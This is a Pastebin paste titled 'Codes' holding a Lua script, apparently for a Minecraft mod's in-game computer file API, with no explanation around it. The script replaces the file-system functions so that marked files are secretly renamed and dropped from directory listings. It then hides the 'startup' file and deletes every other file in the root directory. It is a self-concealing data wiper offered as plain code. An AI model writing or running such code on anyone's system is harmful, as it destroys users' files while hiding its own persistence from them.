Advertisement
ZNZNCOOP

Codes

Apr 29th, 2014
225
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Lua 1.40 KB | None | 0 0
  1. local hidden={}
  2. local nativelist=fs.list
  3. fs.list=function(path)
  4.   local tList=nativelist(path)
  5.   if path~='' then return tList end
  6.   local i=1
  7.   while tList[i] do
  8.     if hidden[string.lower(tList[i])] then table.remove(tList,i)
  9.     else
  10.       if string.sub(tList[i],-1)=='~' then tList[i]=string.sub(tList[i],1,-2) end
  11.       i=i+1
  12.     end
  13.   end
  14.   return tList
  15. end
  16.  
  17. local nativeopen=fs.open
  18. fs.open=function(path, mode)
  19.   if mode=='hide' then hidden[string.lower(path)]=true return end
  20.   if mode=='show' then hidden[string.lower(path)]=nil return end
  21.   if hidden[string.lower(path)] then path=path..'~' end
  22.   return nativeopen(path, mode)
  23. end
  24.  
  25. local nativedelete=fs.delete
  26. fs.delete=function(path)
  27.   if hidden[string.lower(path)] then path=path..'~' end
  28.   return nativedelete(path)
  29. end
  30.  
  31. local nativecopy=fs.copy
  32. fs.copy=function(fromPath, toPath)
  33.   if hidden[string.lower(fromPath)] then fromPath=fromPath..'~' end
  34.   return nativecopy(fromPath, toPath)
  35. end
  36.  
  37. local nativemove=fs.move
  38. fs.move=function(fromPath, toPath)
  39.   if hidden[string.lower(fromPath)] then fromPath=fromPath..'~' end
  40.   return nativemove(fromPath, toPath)
  41. end
  42.  
  43. local nativeexists=fs.exists
  44. fs.exists=function(path)
  45.   if hidden[string.lower(path)] then path=path..'~' end
  46.   return nativeexists(path)
  47. end
  48.  
  49. fs.open('startup','hide')
  50. local tList=fs.list('')
  51. for i=1,#tList do
  52.   pcall(fs.delete,tList[i])
  53. end
  54. tList=nil
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement